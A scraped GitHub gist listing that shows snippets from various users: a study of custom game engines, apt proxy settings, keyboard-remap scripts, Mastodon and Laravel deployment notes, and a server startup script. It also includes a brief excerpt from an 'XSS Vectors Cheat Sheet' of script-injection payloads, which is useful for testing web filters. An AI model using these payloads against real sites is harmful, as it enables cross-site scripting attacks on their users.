Skip to content

Instantly share code, notes, and snippets.

View johnroyer's full-sized avatar

Zero Huang johnroyer

View GitHub Profile
@raysan5
raysan5 / custom_game_engines_small_study.md
Last active May 7, 2024 19:39
A small state-of-the-art study on custom engines

CUSTOM GAME ENGINES: A Small Study

a_plague_tale

A couple of weeks ago I played (and finished) A Plague Tale, a game by Asobo Studio. I was really captivated by the game, not only by the beautiful graphics but also by the story and the locations in the game. I decided to investigate a bit about the game tech and I was surprised to see it was developed with a custom engine by a relatively small studio. I know there are some companies using custom engines but it's very difficult to find a detailed market study with that kind of information curated and updated. So this article.

Nowadays lots of companies choose engines like Unreal or Unity for their games (or that's what lot of people think) because d

@wonderbeyond
wonderbeyond / set-apt-proxy.md
Last active May 6, 2024 09:11
[ubuntu][socks5][proxy] Set proxy for apt

Writing an apt proxy conf file /etc/apt/apt.conf.d/proxy.conf as below.

Acquire::http::Proxy "socks5h://127.0.0.1:1080";
Acquire::https::Proxy "socks5h://127.0.0.1:1080";
Acquire::socks::Proxy "socks5h://127.0.0.1:1080";

And the proxy settings will be applied the next time we run apt.

@don-smith
don-smith / swap-caps-lock-and-ctrl.ps1
Last active April 20, 2024 11:44
A PowerShell script to swap the Caps Lock and Ctrl keys
# Script found at https://superuser.com/a/997448
# Swap details found at https://www.mavjs.org/post/swap-ctrl-and-capslock-on-windows
# Improvement provided by Davido264 in comment below
$hexified = "00,00,00,00,00,00,00,00,03,00,00,00,1d,00,3a,00,3a,00,1d,00".Split(',') | % { "0x$_"};
$kbLayout = 'HKLM:\System\CurrentControlSet\Control\Keyboard Layout';
$scancodeMap = Get-ItemProperty -Path $kbLayout -Name "Scancode Map" -ErrorAction Ignore
if ( -not $scancodeMap )
{
@TrillCyborg
TrillCyborg / mastodon-docker-setup.md
Last active May 5, 2024 22:42
Mastodon Docker Setup

Mastodon Docker Setup

Setting up

Clone Mastodon's repository.

# Clone mastodon to ~/live directory
git clone https://github.com/tootsuite/mastodon.git live
# Change directory to ~/live

cd ~/live

@AveYo
AveYo / .. MediaCreationTool.bat ..md
Last active May 8, 2024 07:24
Universal MediaCreationTool wrapper for all MCT Windows 10 versions - MOVED TO github.com/AveYo/MediaCreationTool.bat
@innat
innat / FFmpeg | Basic Operation on Subtitles.md
Last active February 21, 2024 02:32
Remove hard subtitles from video file || Integrate subtitles into a video file || Generate .srt file from a video file.

Download FFmpeg for Windows

Steps

  • Download FFmpeg
  • Extract it and save it to C drive ( choose any location - it's optional )
  • Set environment variable - copy the location of bin folder which is inside the extracted file and set the location on system path variable.
  • Done!
@kyleferguson
kyleferguson / Dockerfile
Last active December 19, 2023 06:10
Example Laravel deployment for Kubernetes
FROM php:7.1-apache
ADD . /var/www
ADD ./site.conf /etc/apache2/sites-enabled/000-default.conf
RUN apt-get update && apt-get install -y libmcrypt-dev mysql-client && \
docker-php-ext-install mcrypt pdo_mysql opcache && \
pecl install redis-3.1.2 && docker-php-ext-enable redis && \
a2enmod rewrite
@joshschmelzle
joshschmelzle / remap-capslock-to-control-win10.md
Last active April 26, 2024 11:53
Remap Caps Lock to Control on Windows 10

Ways to remap caps lock to control on Windows 10

These methods in this gist worked for me on my U.S.-based keyboard layouts. I am unsure about other layouts. If you have problems, revert your changes; delete the registry key you created (and reboot).

Update: you should probably scroll down to approach 4 where I suggest using Microsoft PowerToys Keyboard Manager.

Approach 1. Manually through regedit

Navigate to and create a new binary value in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout named Scancode Map.

@kurobeats
kurobeats / xss_vectors.txt
Last active May 3, 2024 11:15
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@lucien144
lucien144 / startup.sh
Created November 1, 2016 00:08
Vultr startup scripts
#!/bin/bash
adduser --disabled-password --gecos "Admin" admin
echo admin:`openssl rand -base64 32` | chpasswd
echo "admin ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
mkdir -p /home/admin/.ssh/
echo "ssh-rsa ..." > /home/admin/.ssh/authorized_keys
chmod 700 /home/admin/.ssh/
chmod 600 /home/admin/.ssh/authorized_keys
chown -R admin:admin /home/admin/.ssh
echo "PasswordAuthentication no" >> /etc/ssh/sshd_config